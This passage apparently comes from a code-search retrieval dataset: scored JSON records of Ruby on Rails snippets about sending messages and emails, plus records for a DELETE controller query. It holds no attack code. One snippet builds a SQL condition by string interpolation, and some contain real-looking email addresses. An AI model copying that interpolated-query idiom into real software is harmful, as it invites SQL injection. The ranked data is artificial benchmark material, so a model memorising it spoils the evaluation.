"f4fe6775e6dd7dc83fb107bda9530def", "score": "0.5586725", "text": "def delivery_details; message[:delivery_details]; end", "title": "" }, { "docid": "09d218347d914770d41a071ec06bb674", "score": "0.55837196", "text": "def index\n @messages = Message.where(\"sender_id = #{current_user.id} or recipient_id = #{current_user.id}\")\n @message = Message.new\n end", "title": "" }, { "docid": "cfbbf38c142d581805e2d50b63df03a4", "score": "0.5581454", "text": "def internal_mail_params\r\n params.require(:internal_mail).permit(:from_user_id, :to_user_id, :to_user_name, :read, :subject, :content)\r\n end", "title": "" }, { "docid": "64c7f92348026ab32b6b7f327f6bcd2e", "score": "0.55792457", "text": "def new_messages\n Message.where('to_user_id = ? AND opened_at IS NULL', id).order(\"created_at DESC\")\n end", "title": "" }, { "docid": "5e00b5474e4eee4c804158707e681ed5", "score": "0.5578757", "text": "def sub_created_notify(user, sub)\n subject \"[Sub Request] Sub needed for \" + sub.shift.short_display\n recipients \"#{user.name} <#{user.email}>\"\n from sub.user.email\n sent_on Time.now\n body :sub => sub\n end", "title": "" }, { "docid": "3c9a4fa6c55670f5a8b80d48a360aa7c", "score": "0.55762684", "text": "def send_when_create(user, order)\n @user = user\n @order = order\n mail to: @user.email,\n subject: '注文をお受けいたしました。'\n end", "title": "" }, { "docid": "9cd992a6d024556429616461c890e912", "score": "0.5574461", "text": "def daily_messenger_send\n # Check authorization\n if(ryan? || authorized_email?)\n message = authorized_email? ? parse_dm_email : params[:dailymessage]\n \n # If there's a daily message to send.\n if(message && ! message.empty?)\n \n mymessage = \"\"\n if(params[:mymessage] && ! params[:mymessage].empty?)\n mymessage = \"\\n\\n\\n\" + \n \"----------------------------------------------------\" + \"\\n\" +\n \"\\t\" + \"Message from Ryan\" + \"\\n\" +\n \"----------------------------------------------------\" + \"\\n\"\n mymessage = mymessage + params[:mymessage]\n end\n \n # These two lines of code will probably cause some heartache for me\n # in the future. Be aware.\n msg = DailyMessage.new(content: message)\n msg.save\n \n # Messages stores the original messages (with my date modification)\n messages = []\n \n #DailyMessage.all.reverse.each {|ms|\n # date_created = ms.created_at.in_time_zone.strftime(\"%a, %b %d\")\n # days_messages = ms.content.split(\"\\r\\n\\r\\n\").map do |x|\n # x = (!x.include? \"===\") ? date_created + \"\\r\\n\" + x :\n # x\n # end\n \n # messages = messages.concat(days_messages)\n #}\n \n days_messages = DailyMessage.last.content.split(\"\\r\\n\\r\\n\")\n \n messages = messages.concat(days_messages)\n \n current_date = Date.current.in_time_zone\n #messages = messages.reject {|ms| \n # last_relevant_date = Stringutils::get_dm_date(ms, current_date)\n # last_relevant_date != [] && last_relevant_date < current_date\n #}\n \n # Now I want to organize messages by category.\n category_test = Proc.new {|x| x.include?(\"===\")}\n ms_categorized = Arrayutils::group(messages, category_test, false, true)\n ms_categorized[\"all\"] = messages.reject{|ms| ms.include?(\"===\")}\n \n # TODO: Increase robustness. Currently useless.\n # Check for repeated messages and remove them.\n #redundant_indices = Arrayutils::redundant_indices(messagesComp)\n #messagesComp = Arrayutils::delete_at(messagesComp, redundant_indices)\n #senders = Arrayutils::delete_at(senders, redundant_indices)\n \n # Mappings store the messages \n mappings = {}\n \n DAILY_MESSENGER_KEYWORDS.each do |topic, keywords|\n category = DAILY_MESSENGER_CATEGORY_MAPS.fetch(topic, \"all\")\n ms_map = ms_categorized[category] # An array of messages in the category.\n \n anti_keywords = DAILY_MESSENGER_ANTI_KEYWORDS.fetch(topic, nil)\n if anti_keywords\n anti_keywords = anti_keywords.split(\",\")\n end\n mappings[topic] = DailyMessengerUtils::filter(ms_map, keywords.split(\",\"), anti_keywords)\n end\n \n DAILY_MESSENGER_SENDERS.each do |sender, sender_words|\n mappings[sender] = DailyMessengerUtils::filter_sender(ms_categorized[\"all\"], sender_words.split(\",\"))\n end\n \n # FOR DEBUGGING\n puts \"MAPPINGS: \"\n puts mappings\n \n # For each service daily, we get the correct messages,\n # put them together, and then send them to the person.\n ServiceDaily.all.each {|dm|\n \n email = dm.user.email\n dm_keys = dm.key_words.concat(dm.sender)\n \n filtered_content = mymessage.empty? ? \"\\r\\n\" : mymessage + \"\\r\\n\\r\\n\"\n filtered_content = Stringutils::to_html(filtered_content)\n \n preview = \"\"\n body = \"\"\n \n daily_messages = ms_categorized\n \n # If the user is an advanced user, we must manually construct their\n # mapping.\n filtered_messages = dm.advanced? ? DailyMessengerUtils.adv_filter(daily_messages, dm) :\n mappings.slice(*dm_keys)\n \n # DEBUGGING \n puts email + \"'s filtered messages are below:\"\n puts \"Advanced: \" + dm.advanced?.to_s\n puts \"ANTI: \" + dm.anti?.to_s\n puts \"ADV KEYWORDS: \" + dm.adv_keys.to_s\n \n puts \"FILTERED: \" \n puts filtered_messages.to_s\n \n if dm.anti?\n daily_messages.delete(\"all\")\n \n messages_to_remove = filtered_messages.values.flatten\n \n filtered_messages = DailyMessengerUtils.anti_filter(daily_messages, messages_to_remove)\n end\n \n preview = filtered_messages.keys.map{|key| DailyMessengerUtils::preview(key, filtered_messages[key])}.join\n body = filtered_messages.keys.map{|key| DailyMessengerUtils::body(key, filtered_messages[key])}.join\n \n filtered_content = filtered_content + preview + body\n \n # Assume that Daily Messenger is empty.\n subject = preview.blank? ? \"Daily Messenger: Nothing Interesting Going On\" :\n 'Your Daily Messenger for ' + Date.current.in_time_zone.strftime(\"%a, %b %d\")\n \n header = \"----------------------------------------------------\" + \"\\n\" +\n \"Change preferences at http://www.arg.press/my_daily_messenger\" + \"\\n\" +\n \"----------------------------------------------------\"\n header = Stringutils::to_html(header)\n \n filtered_content = header + filtered_content\n \n ## We try to send the email. If it fails, we send an email to me informing\n ## me of the issue.\n begin\n ServiceMailer::daily_messenger(email, subject, filtered_content).deliver\n rescue Postmark::InvalidMessageError => error_message\n ServiceMailer::email(email + \" was not able to receive their DM\", \"rynkwn@gmail.com\", error_message.to_s).deliver\n end\n }\n end\n end\n end", "title": "" }, { "docid": "6cbffc892002b3eec38222cefd8b4fd3", "score": "0.55647165", "text": "def supplier_respond_message_email(message, user) #Cant get the user_email from message\n \t@message = message\n \t@conversation = @message.conversation\n \t@user = user\n \t@supplier_account = @conversation.supplier_account\n \tmail to: \"<#{@user.email}>\", bcc: \"matriclick_notice@matriclick.com \", subject: \"[Matriclick.com] El proveedor #{@supplier_account.fantasy_name} ha respondido a tu mensaje\"\n end", "title": "" }, { "docid": "ce4a5c6bf891267faa4993bf744eaea9", "score": "0.55643207", "text": "def transform_message\n return {\n id: self.id, #this is the message id\n text: self.m_text,\n card: self.card.imdb_id, #the message belongs to a card with an imdb_id\n username: self.user.username,\n posted: self.updated_at\n }\n end", "title": "" }, { "docid": "65acaea14f997e2a0382d869dc3c0637", "score": "0.55642307", "text": "def message_email_to_supplier(message, user)\n \t@message = message\n \t@user = user\n\t\t@conversation = @message.conversation\n\t\t@supplier_account = @message.conversation.supplier_account \n \t@email_to = @supplier_account.supplier.email\n \tmail to: @email_to, bcc: \"tramanta@matriclick.com\", subject: \"[Matriclick.com] ¡Has recibido un mensaje!\"\n end", "title": "" }, { "docid": "4e65723786ea60e657b8734bb8f02159", "score": "0.55637604", "text": "def create\n @to = User.find_by_email(params[:message][:to])\n current_user.send_message(@to, params[:message][:topic], params[:message][:body])\n end", "title": "" }, { "docid": "1046f909a9a5af00c600e3a7ba238f1e", "score": "0.55605316", "text": "def weekly_email_content\n\n \n end", "title": "" }, { "docid": "b0c0eeca9a00a99d271a405a85c5f716", "score": "0.55587983", "text": "def sent(to_user, from_user, project, message)\n @to_user = to_user\n @from_user = from_user\n @for_project = project\n @message = message\n mail to: to_user.email, subject: \"New Message: #{ @message.subject }\"\n end", "title": "" }, { "docid": "60fea6dad3dad3d2405e9d5ba83613fd", "score": "0.55571836", "text": "def message_params\n params.require(:message).permit(:title, :user_id, :text, :visualized, :user_receiver_id, :date_view, :date_archived)\n end", "title": "" }, { "docid": "81544d5c0c5e611a70adb2839aa300a8", "score": "0.55559987", "text": "def create\n #\n # did we suggest a job?\n unless params[:message][:job_offer_id].blank?\n params[:message].delete(:job_offer)\n job = Job.find params[:message].delete(:job_offer_id)\n end\n\n #\n # did we suggest a delivery team\n unless params[:message][:delivery_team_offer_id].blank?\n params[:message].delete(:delivery_team_offer)\n delivery_team = DeliveryTeam.find( params[:message].delete(:delivery_team_offer_id) )\n end\n\n jobber = Jobber.find_by_email(params[:message][:msg_to].strip)\n #\n # attach it all to the jobber\n assignment = nil\n if jobber\n assignment = Assignment.create( job: job, jobber: jobber, assignee: current_user, assigned_at: Time.now) if job\n jobber.update_attributes( delivery_team: delivery_team) if delivery_team\n end\n\n #\n # keep the original in the reply?\n original = params[:message].delete(:original)\n original_id=params[:message].delete(:original_id)\n\n #\n # mark the original as answered\n msg = Message.find(original_id) rescue nil\n msg.update_attributes( answered_at: Time.now) unless msg.nil?\n\n body = msg.body rescue \"\"\n\n authorize Message.new\n\n message = Message.mail subject: params[:message][:title],\n who: params[:message][:msg_to],\n what: params[:message][:body],\n # what: \"%s ||| %s\" % [ params[:message][:body],body ],\n jobber:jobber,\n job: job,\n delivery_team: delivery_team,\n confirm_link: ' ',\n messenger: current_user\n\n respond_to do |format|\n if message\n format.html { redirect_to root_path, notice: 'Message was successfully created, and sent.' }\n format.js { head 220 }\n format.json { render :show, status: :created, location: message }\n else\n format.html { render :new }\n format.js { render json: message.errors, status: :unprocessable_entity }\n format.json { render json: message.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "dc995b093d38149b96278cd8bf2f022f", "score": "0.5555582", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "title": "" }, { "docid": "dc995b093d38149b96278cd8bf2f022f", "score": "0.5555582", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "title": "" }, { "docid": "dc995b093d38149b96278cd8bf2f022f", "score": "0.5555582", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "title": "" }, { "docid": "dc995b093d38149b96278cd8bf2f022f", "score": "0.5555582", "text": "def send_message(other_user, room_id, content)\n from_messages.create!(to_id: other_user.id, room_id: room_id, content: content)\n end", "title": "" }, { "docid": "5d5a7ec7d2acf9d41fde1ef6ba03d71a", "score": "0.5549331", "text": "def message_params\n params.require(:message).permit(:content, :from_user_id, :to_user_id)\n end", "title": "" }, { "docid": "54da19563f097cedf276098d6ff6030e", "score": "0.55488247", "text": "def personalmessage\n @permsg = Message.where(\"host = ?\", session[:username])\n end", "title": "" }, { "docid": "ea140fdf8dfd9abd3acc237c355ee5f7", "score": "0.5545544", "text": "def create_message(current_user, msg_for, open_msg_tag = nil, entry = nil, order = nil)\n self.user_company_id = current_user.company.id\n self.user_type = current_user.roles.first.name\n self.entry_id = entry.id unless entry.blank?\n self.order_id = order.id unless order.blank?\n if msg_for == 'admin'\n self.receiver_id = 1\n self.receiver_company_id = 1\n self.open_tag = open_msg_tag unless open_msg_tag.blank?\n elsif msg_for == 'buyer'\n self.receiver_id = entry.user_id\n self.receiver_company_id = entry.company_id\n self.open_tag = open_msg_tag unless open_msg_tag.blank?\n elsif msg_for == 'seller'\n if order\n self.receiver_id = order.seller_id\n self.receiver_company_id = order.seller.company.id\n else\n self.receiver_id = receiver\n self.receiver_company_id = receiver_company\n end\n self.open_tag = open_msg_tag unless open_msg_tag.blank?\n elsif msg_for == 'public'\n self.open_tag = true\n end\n end", "title": "" }, { "docid": "a4b6223bd232512e143475577377d45a", "score": "0.5545015", "text": "def index\n @sent_messages = current_user.messages\n @recieved_messages = Message.where(recipient_id: current_user.id)\n end", "title": "" }, { "docid": "0ca7ed8ff34a80cc5d478c4d8d900285", "score": "0.5543057", "text": "def perform(phenotype_id, user_id)\n @phenotype = Phenotype.find_by_id(phenotype_id)\n User.where(message_on_new_phenotype: true).find_each do |u|\n if u.id != user_id\n UserMailer.new_phenotype(@phenotype, u).deliver_later\n end\n end\n end", "title": "" }, { "docid": "4ec2b02dd94ed3dfc6005a4786d3bc89", "score": "0.5542192", "text": "def update\n @message = Message.find(params[:id])\n @message.subject = params[:subject]\n @message.body = params[:body]\n @message.sender_read = false\n @message.recipient_read = false\n sender = current_user\n recipient = User.find(@message.recipient_id)\n subject = \"[UPDATED] \"+@message.subject\n \n respond_to do |format|\n # check for shinanigans\n if @message.sender_id == current_user.id\n if @message.save\n MessageMailer.user_email(sender,recipient,subject,@message).deliver\n format.js\n else\n format.js {render \"shared/save_failed\"}\n end\n else\n format.js {render \"shared/not_owner\"}\n end \n end\n end", "title": "" }, { "docid": "5fe7f9b40dff3d43083efd100ac1ef74", "score": "0.5540142", "text": "def sharing_notification(role, user, inviter:)\n @role = role\n @user = user\n @user_email = @user.email\n @username = @user.name\n @inviter = inviter\n @link = url_for(action: 'show', controller: 'plans', id: @role.plan.id)\n @helpdesk_email = helpdesk_email(org: @user.org)\n\n I18n.with_locale current_locale(@user) do\n mail(to: @role.user.email,\n subject: format(_('%{user_name} has shared a Data Management Plan with you in %{tool_name}'),\n user_name: @inviter.name(false), tool_name: tool_name))\n end\n end", "title": "" }, { "docid": "160ea6ebc2e8ed1c4d06d314008d2814", "score": "0.55383575", "text": "def create_message(from_user = users(:user), to_user = users(:admin))\n message_hash = {}\n outgoing_message = Message.new\n outgoing_message.subject = \"Subject\"\n outgoing_message.body = \"This is the body of a message\"\n outgoing_message.message_type_id = message_types(:customer_inquiry).id\n outgoing_message.from_user_id = from_user.id\n outgoing_message.save\n outgoing_message.recipient_users.create(user_id: to_user.id)\n incoming_message = outgoing_message.dup\n incoming_message.owner_user_id = to_user.id\n incoming_message.copied_message_id = outgoing_message.id\n incoming_message.save\n incoming_message.recipient_users.create(user_id: to_user.id)\n message_hash[:out] = outgoing_message\n message_hash[:in] = incoming_message\n return message_hash\n end", "title": "" }, { "docid": "e159c6d4ad64d70c7f7a607b9bf81de9", "score": "0.5528232", "text": "def article_admin(story_id, user)\n @greeting = \"Howdy #{user}\"\n @story = Story.find( story_id )\n\n mail to: user,\n from: \"\\\"Trailblazersfans.com\\\" <admin@trailblazersfans.com>\",\n #from: \"admin@trailblazersfans.com\",\n :subject => \"New Trailblazersfans.com article: #{@story.title.titleize}\"\n\n\n end", "title": "" } ]
95cb6e6c8c9c5275a22482588d551e22
DELETE /bilges/1 DELETE /bilges/1.json
[ { "docid": "001ab417586c829a73b4ceb7d3331623", "score": "0.7051547", "text": "def destroy\n @bilge.destroy\n respond_to do |format|\n format.html { redirect_to bilges_url, notice: 'Bilge was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" } ]
[ { "docid": "91cbb9fba8ae599d34e55d5a573a7815", "score": "0.6775657", "text": "def destroy\n @bili = Bili.find(params[:id])\n @bili.destroy\n\n respond_to do |format|\n format.html { redirect_to bilis_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "689d5a07a403c4b765ba178e4aff08a3", "score": "0.67461467", "text": "def delete\n client.delete(\"/#{id}\")\n end", "title": "" }, { "docid": "e1eb6529977adcb825b96e9d4dd08b48", "score": "0.67356753", "text": "def destroy\n @brag = Brag.find(params[:id])\n @brag.destroy\n\n respond_to do |format|\n format.html { redirect_to brags_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9a7cabc3bb192561061e49473512117c", "score": "0.66653466", "text": "def destroy\n @bilhete = Bilhete.find(params[:id])\n @bilhete.destroy\n\n respond_to do |format|\n format.html { redirect_to bilhetes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "568f757118abe54e5d624479d33a5c37", "score": "0.66196966", "text": "def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6be78769a1addc78ff5b27d2e8a17e8c", "score": "0.6561706", "text": "def destroy\n @baggage = Baggage.find(params[:id])\n @baggage.destroy\n\n respond_to do |format|\n format.html { redirect_to baggages_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ad7290e17a19558cfa60d8a0b477f568", "score": "0.65478265", "text": "def destroy\n @bike = Bike.find(params[:id])\n @bike.destroy\n\n respond_to do |format|\n format.html { redirect_to bikes_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1231aa2d958fd3f584e40174011666dc", "score": "0.6547161", "text": "def destroy\n @boat = Boat.find(params[:id])\n remove_reknro_from_berth\n @boat.destroy\n\n respond_to do |format|\n format.html { redirect_to boats_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fd3888c1602cd06d89cc99329260e6", "score": "0.6526725", "text": "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd92158cd07c76c14cdae27c89fb0d5a", "score": "0.650509", "text": "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to badges_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "acb8a955f17442ce1943df31af7a73f7", "score": "0.6482554", "text": "def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end", "title": "" }, { "docid": "fee26c9153d50c987345dcf1046f21af", "score": "0.6474173", "text": "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cbcac172420cb948d7a396a1ce1bc113", "score": "0.6473622", "text": "def destroy\n @basin = Basin.find(params[:id])\n @basin.destroy\n\n respond_to do |format|\n format.html { redirect_to basins_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6d4db9d1512f30356c3ada2d0724fb6f", "score": "0.64585656", "text": "def destroy\r\n @bill = Bill.find(params[:id])\r\n @bill.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to bills_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "a7f4b55eaa3c0374a6acc0dcc5fdba15", "score": "0.6458445", "text": "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "be77ac61d1cbf6d1fb90e297df2ff267", "score": "0.6457994", "text": "def destroy\n @bico = Bico.find(params[:id])\n @bico.destroy\n\n respond_to do |format|\n format.html { redirect_to bicos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1c8fcaf5b88af8d1c4ed08ccc34b8696", "score": "0.6451507", "text": "def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "92032905db28a1ae4101c64ba5273413", "score": "0.64441186", "text": "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banners_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c633ff709dfe7d2649e862dd5d216412", "score": "0.6439762", "text": "def destroy\n @banner_img = BannerImg.find(params[:id])\n @banner_img.destroy\n\n respond_to do |format|\n format.html { redirect_to banner_imgs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "32f68881d99affb6d9a7c90c2fc622bb", "score": "0.64157414", "text": "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_banners_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "fdd3547fa773dfca5f8cd806595d0cd8", "score": "0.64105445", "text": "def destroy\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_path }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "627b27b93e340ccf377cfb294858d4d1", "score": "0.6405999", "text": "def destroy\n @bb = Bb.find(params[:id])\n @bb.destroy\n\n respond_to do |format|\n format.html { redirect_to bbs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6cd677a0c2c60faa43ba40e2659cf16", "score": "0.6400612", "text": "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6cd677a0c2c60faa43ba40e2659cf16", "score": "0.6400612", "text": "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6cd677a0c2c60faa43ba40e2659cf16", "score": "0.6400612", "text": "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9688fca50b74e0d2afd85c83aae42122", "score": "0.63924456", "text": "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9688fca50b74e0d2afd85c83aae42122", "score": "0.63924456", "text": "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0ac795456f3e12c1a4d75e2b4b7fe8d0", "score": "0.6390338", "text": "def destroy\n @bail = Bail.find(params[:id])\n# @bail.destroy\n\n respond_to do |format|\n format.html { redirect_to(bails_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3dd3ed8ecb9b13cc9496ec074b8bff5b", "score": "0.63874483", "text": "def destroy\n @bwimage = Bwimage.find(params[:id])\n @bwimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bwimages_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c469a085173f88efac57fcdb17db10b3", "score": "0.6384447", "text": "def destroy\n @b = B.find(params[:id])\n @b.destroy\n\n respond_to do |format|\n format.html { redirect_to bs_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "157fe8abaaec5b1279f321e52c86bc71", "score": "0.6382693", "text": "def delete!\n Recliner.delete(uri)\n end", "title": "" }, { "docid": "33b888c8f2b033bb54789de80c57d692", "score": "0.63621885", "text": "def delete\n client.delete(url)\n @deleted = true\nend", "title": "" }, { "docid": "e873a837158299199b64e6fa43b439ae", "score": "0.6360773", "text": "def destroy\n @apertura_billete.destroy\n respond_to do |format|\n format.html { redirect_to apertura_billetes_url, notice: 'Apertura billete was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4d0703ad014a58dc3e0b54ae3154f115", "score": "0.63591385", "text": "def destroy\n @fridge = Fridge.find(params[:id])\n @fridge.destroy\n\n respond_to do |format|\n format.html { redirect_to fridges_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "09fc2820d9479cac0697e20c559268bf", "score": "0.6358327", "text": "def delete\n render json: Alien.delete(params[\"id\"])\n end", "title": "" }, { "docid": "65f034128b3ca19e4e4d6dd86eb412ea", "score": "0.6356903", "text": "def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ed4b700629458e7b88f9cd8767566480", "score": "0.6351801", "text": "def destroy\n @bl = Bl.find(params[:id])\n @bl.destroy\n\n respond_to do |format|\n format.html { redirect_to bls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b6d637296f7fa6235150afef54056111", "score": "0.6348884", "text": "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "title": "" }, { "docid": "ba67ebd85114998e01be10599c8943ca", "score": "0.6345192", "text": "def delete(path)\n RestClient.delete request_base+path\n end", "title": "" }, { "docid": "d7cdf9d3c062966403bbb2a7b356c548", "score": "0.63409775", "text": "def destroy\n @bergain = Bergain.find(params[:id])\n @bergain.destroy\n\n respond_to do |format|\n format.html { redirect_to bergains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0bb5494a01da87e704f72598117899c", "score": "0.6338635", "text": "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a0bb5494a01da87e704f72598117899c", "score": "0.6338635", "text": "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a8a6e9961328896759b0e06fd2fc8ecb", "score": "0.6337019", "text": "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n \n respond_to do |format|\n format.html { redirect_to banners_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "23beb5965e5c647b9dcc41f656ecfa73", "score": "0.63356096", "text": "def destroy\n @bien.destroy\n respond_to do |format|\n format.html { redirect_to biens_url, notice: 'Bien was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "7ca707f78c1f9c667b8297b8384c085c", "score": "0.6322192", "text": "def destroy\n @sugar_bag = SugarBag.find(params[:id])\n @sugar_bag.destroy\n\n respond_to do |format|\n format.html { redirect_to sugar_bags_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8155b530dbcc7aa799462b30c4a63eb4", "score": "0.6316319", "text": "def destroy\n audit(@bike, current_user)\n @bike.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "a6f599b8888517be92ad482925641dd1", "score": "0.6302209", "text": "def destroy\n @bogey = Bogey.find(params[:id])\n @bogey.destroy\n\n respond_to do |format|\n format.html { redirect_to(bogeys_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "17270d4e5f0d93e1c660ca1c76dfe015", "score": "0.6297588", "text": "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url, notice: 'Bicicleta eliminada.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c2a0fc36f669d746e4627fefaf3a99e2", "score": "0.62975436", "text": "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(badges_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "8ec1d024acc4cbe5bb3a8b0bfc1bc32f", "score": "0.6290659", "text": "def destroy\n @Bouquets = Bouquet.find(params[:id])\n @Bouquets.destroy\n\n respond_to do |format|\n format.html { redirect_to bouquets_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "067f342441f903468437048d0c82695f", "score": "0.6288012", "text": "def destroy\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to bounties_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6610b944a255d4904af6e8883a1fc74f", "score": "0.6286453", "text": "def destroy\n @badge = Badge.find(params[:id])\n @badge.destroy\n\n respond_to do |format|\n format.html { redirect_to(organization_segment_badges_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3ccbbe4759cbc0ec8cb54549c91b4c3d", "score": "0.62791735", "text": "def destroy\n @brain = Brain.find(params[:id])\n @brain.destroy\n\n respond_to do |format|\n format.html { redirect_to brains_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "963f3a976b55db599fafa5037cd74103", "score": "0.6277133", "text": "def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "2981895d969321637c122fe27be3f529", "score": "0.62748736", "text": "def destroy\n @liga_blaz_blue = LigaBlazBlue.find(params[:id])\n @liga_blaz_blue.destroy\n\n respond_to do |format|\n format.html { redirect_to(liga_blaz_blues_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "3ed6db09c4e67c1ecf92d42204c5ddfc", "score": "0.62732536", "text": "def destroy\n @bdig = Bdig.find(params[:id])\n @bdig.destroy\n\n respond_to do |format|\n format.html { redirect_to(bdigs_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "86faa8c555419d7144a0c7003f760dff", "score": "0.6268998", "text": "def delete\n render json: Item.delete(params[\"id\"])\n end", "title": "" }, { "docid": "dd90ad060a74da07c1776f6536f1beb0", "score": "0.62614566", "text": "def destroy\n @cabinet_balancer.destroy\n respond_to do |format|\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('deleted') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "59bfb1ed2c08171513245040e1f6a51f", "score": "0.6260696", "text": "def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d3c533b979516b690631d5674802627c", "score": "0.6254671", "text": "def destroy\n @bill.destroy\n render json: @bill\n end", "title": "" }, { "docid": "d8e08447e2fded8f7b8ff9c79c8d0ac3", "score": "0.62521464", "text": "def destroy\n @bourbon.destroy\n respond_to do |format|\n format.html { redirect_to bourbons_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "68515ef4512efd08dcf7121e34c22403", "score": "0.6249179", "text": "def destroy\n @bowl = Bowl.find(params[:id])\n @bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to bowls_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "522e787502895f0a05c9b2c6ca4e5ced", "score": "0.62459785", "text": "def delete\n request(:delete)\n end", "title": "" }, { "docid": "19c1758f589ebe3ef4c2b849dba0544d", "score": "0.62418014", "text": "def destroy\n @boat.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "af605685e03f1a11661dd4081b0beb79", "score": "0.6240137", "text": "def destroy\n 